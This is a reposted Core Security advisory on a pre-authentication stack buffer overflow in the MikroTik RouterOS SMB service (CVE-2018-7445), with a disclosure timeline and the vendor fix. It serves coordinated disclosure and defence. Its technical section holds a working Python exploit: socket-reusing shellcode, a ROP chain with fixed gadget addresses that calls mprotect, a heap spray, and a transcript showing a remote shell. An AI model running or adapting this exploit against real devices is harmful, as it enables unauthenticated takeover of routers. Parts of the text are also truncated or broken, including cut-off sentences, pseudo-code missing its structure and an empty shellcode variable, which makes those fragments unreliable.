MikroTik RouterOS SMB Buffer Overflow

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  • A buffer overflow was found in the MikroTik RouterOS SMB service when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system. The overflow occurs before authentication takes place, so it is possible for an unauthenticated remote attacker to exploit it.
    MD5 | b7e22648d2a91d8ab369593f7eabdb11

    Core Security - Corelabs Advisory  
    MikroTik RouterOS SMB Buffer Overflow  
    1. **Advisory Information**  
    Title: MikroTik RouterOS SMB Buffer Overflow  
    Advisory ID: CORE-2018-0003  
    Advisory URL:  
    Date published: 2018-03-15  
    Date of last update: 2018-03-01  
    Vendors contacted: MikroTik  
    Release mode: Coordinated release  
    2. **Vulnerability Information**  
    Class: Stack-based Buffer Overflow [CWE-121]  
    Impact: Code execution  
    Remotely Exploitable: Yes  
    Locally Exploitable: No  
    CVE Name: CVE-2018-7445  
    3. **Vulnerability Description***  
    MikroTik is a Latvian company which was founded in 1996 to develop routers  
    and wireless ISP systems. MikroTik now provides hardware and software for  
    Internet connectivity in most of the countries around the world. RouterOS  
    is MikroTik's stand-alone operating system based on Linux v3.3.5 kernel.  
    A buffer overflow was found in the MikroTik RouterOS SMB service when  
    processing NetBIOS session request messages. Remote attackers with access  
    to the service can exploit this vulnerability and gain code execution on  
    the system. The overflow occurs before authentication takes place, so it  
    is possible for an unauthenticated remote attacker to exploit it.  
    4. **Vulnerable Packages**  
    . All architectures and all devices running RouterOS before versions  
    5. **Vendor Information, Solutions and Workarounds**  
    . MikroTik released version 6.41.3 of RouterOS [1] that fixes the reported  
    . The workaround suggested by MikroTik in case it is not possible to  
    install an update consists of disabling the SMB service.  
    6. **Credits**  
    This vulnerability was discovered and researched by Juan Caillava and  
    Maximiliano Vidal from Core Security Consulting Services. The publication  
    of this advisory was coordinated by Leandro Cuozzo from Core Advisories  
    7. **Technical Description / Proof of Concept Code***  
    The overflow takes place in the function in charge of parsing NetBIOS names,  
    which receives two stack allocated buffers as parameters. As an example  
    reference, this function is located at address 0x08054607 on the x86 SMB  
    binary version 6.40.5.  
    The first byte of the source buffer is read and used as the size for the  
    copy operation. The function then copies that amount of bytes into the  
    destination buffer. Once that is done, the next byte of the source buffer  
    is read and used as the new size. This loop finishes when the size to copy  
    is equal to zero. No validation is done to ensure that the data fits on  
    the destination buffer, resulting in a stack overflow.  
    Simplified pseudo-code of the vulnerable function:  
    int parse_names(char *dst, char *src) {  
    int len;  
    int i;  
    int offset;  
    // take the length of the first string  
    len = *src;  
    offset = 0;  
    while (len) {  
    // copy the bytes of the string into the destination buffer  
    for (i = offset; (i - offset) < len; ++i) {  
    dst[i] = src[i+1];  
    // take the length of the next string  
    len = src[i+1];  
    // if it exists, then add a separator  
    if (len) {  
    dst[i] = ".";  
    // start over with the next string  
    offset = i + 1;  
    // nul-terminate the string  
    dst[offset] = 0;  
    return offset;  
    It is possible to reach this function by sending a NetBIOS session request  
    message. We will demonstrate code execution targeting the x86 Cloud Hosted  
    Router and develop a proof of concept exploit.  
    How to approach the exploitation depends on the specifics of the targeted  
    device and architecture. In the case of Cloud Hosted Router on x86, we  
    will have to deal with DEP and ASLR.  
    In order to bypass DEP, we will build a ROP chain to call 'mprotect' and  
    mark a memory region as both writable and executable. In terms of ASLR,  
    we found that even though the base address of the stack and the loaded  
    libraries was randomized, the base address of the heap was not. Therefore,  
    it is possible to store a large payload on the heap to act as a NOP sled  
    right before triggering the vulnerable function and jump to a fixed  
    location in this region. Our testing showed this approach to be extremely  
    The proof of concept exploit presented below illustrates this process,  
    reusing the connection socket to spawn a shell and execute arbitrary  
    commands on the system.  
    #!/usr/bin/env python  
    import socket  
    import struct  
    import sys  
    import telnetlib  
    # trick from http://shell-storm.org/shellcode/files/shellcode-881.php  
    # will place the socket file descriptor in eax  
    find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"  
    # dup stdin-stdout-stderr so we can reuse the existing connection  
    dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"  
    # execve - cannot pass the 2nd arg as NULL or busybox will complain  
    execve_bin_sh =  
    # build shellcode  
    shellcode = find_sock_fd + dup_fds + execve_bin_sh  
    # rop to mprotect and make the heap executable  
    # the heap base is not being subject to ASLR for whatever reason, so  
    let's take advantage of it  
    p = lambda x : struct.pack('I', x)  
    rop = ""  
    rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret;  
    rop += p(0x08072000) # ebx -> heap base  
    rop += p(0xffffffff) # ebp -> gibberish  
    rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret;  
    rop += p(0x14000)    # ecx -> size for mprotect  
    rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret;  
    rop += p(0x00000007) # edx 

    permissions for mprotect

    PROT_READ | PROT_WRITE | PROT_EXEC rop += p(0xffffffff) # edi -> gibberish rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x0000007d) # ebp -> mprotect system call rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0) # edx -> zeroed out rop += p(0x0) # ecx -> zeroed out rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap offset_to_regs = 83 # we do not really care about the initial register values other than overwriting the saved ret address ebx = p(0x45454545) esi = p(0x45454545) edi = p(0x45454545) ebp = p(0x45454545) eip = p(0x0804886c) # 0x0804886c: ret; payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload)) buf = header + payload def open_connection(ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 139)) return s def store_payload(s): print "[+] storing payload on the heap" s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode) def crash_smb(s): print "[+] getting code execution" s.send(buf) if __name__ == "__main__": if len(sys.argv) != 2: print "%s ip" % sys.argv[0] sys.exit(1) s = open_connection(sys.argv[1]) store_payload(s) # the server closes the first connection, so we need to open another one t = telnetlib.Telnet() t.sock = open_connection(sys.argv[1]) crash_smb(t.sock) print "[+] got shell?" t.interact() -----/ The following excerpt shows the successful exploitation of a remote SMB service. /----- [[[email protected]](/cdn-cgi/l/email-protection)] > ip smb print enabled: yes domain: MSHOME comment: MikrotikSMB allow-guests: yes interfaces: all [[[email protected]](/cdn-cgi/l/email-protection)] > ip address print Flags: X - disabled, I - invalid, D - dynamic # ADDRESS NETWORK INTERFACE 0 D ether1 -----/ /----- $ python smb_exploit.py [+] storing payload on the heap [+] getting code execution [+] got shell? sh: turning off NDELAY mode uname -a Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_64 unknown -----/ 8. **Report Timeline** . 2018-02-19: Core Security sent an initial notification to MikroTik. . 2018-02-19: Core Security noticed that a candidate release addresses the vulnerability. . 2018-02-21: MikroTik answered saying that they were planning to release a final version with a fix for SMB the week of 26th of February and asked for additional information. . 2018-02-21: Core Security thanked MikroTik's answer and sent a draft advisory with a technical description. In addition, Core Security proposed the release date to be March 1st. . 2018-02-23: MikroTik confirmed the proposed release date saying that is a 'perfect' date for them. . 2018-02-23: Core Security asked MikroTik for a confirmation about the availability of the fix before the publication date. Also, Core Security sent the CVE-ID request to Mitre. . 2018-02-23: MikroTik confirmed the availability of the fix for the publication date. . 2018-02-28: Core Security asked MikroTik for a confirmation about the release of the fixed version again. . 2018-02-28: MikroTik answered saying that they had some issues and asked for an extension of one week. . 2018-02-28: Core Security analyzed the possibility of postponing the publication date and asked MikroTik for a new release date. . 2018-03-01: MikroTik answered that they didn't have a certain release date for their fix. . 2018-03-01: Core Security requested a solidified release date for coordinated disclosure. Agreed to postpone till March 8th. . 2018-03-01: MikroTik answered saying they understand it's their fault and if they don't release the fixed version in time, we might have to release our document. . 2018-03-02: Core Security thanked the update and asked again about the planned release date. . 2018-03-05: MikroTik answered that they still don't have a certain release date for their fix. . 2018-03-05: Core Security answered saying the one week postponed was proposed by Mikrotik, yet they still cannot commit to a release date. Core Security clarified again the intention is to do a coordinated release, but in order to do that it is needed a tentative release date. . 2018-03-12: Core Security noticed that a new version of MikroTik RouterOS were available and asked MikroTik if this version fixed the vulnerability. . 2018-03-12: MikroTik confirmed that the published version addresses the reported vulnerability. . 2018-03-15: Advisory CORE-2018-0003 published. 9. **References** [1] https://mikrotik.com/download. 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insightmgives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [[email protected]](/cdn-cgi/l/email-protection) 12. **Disclaimer** The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. **PGP/GPG Keys** This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

    Source: packetstormsecurity.com

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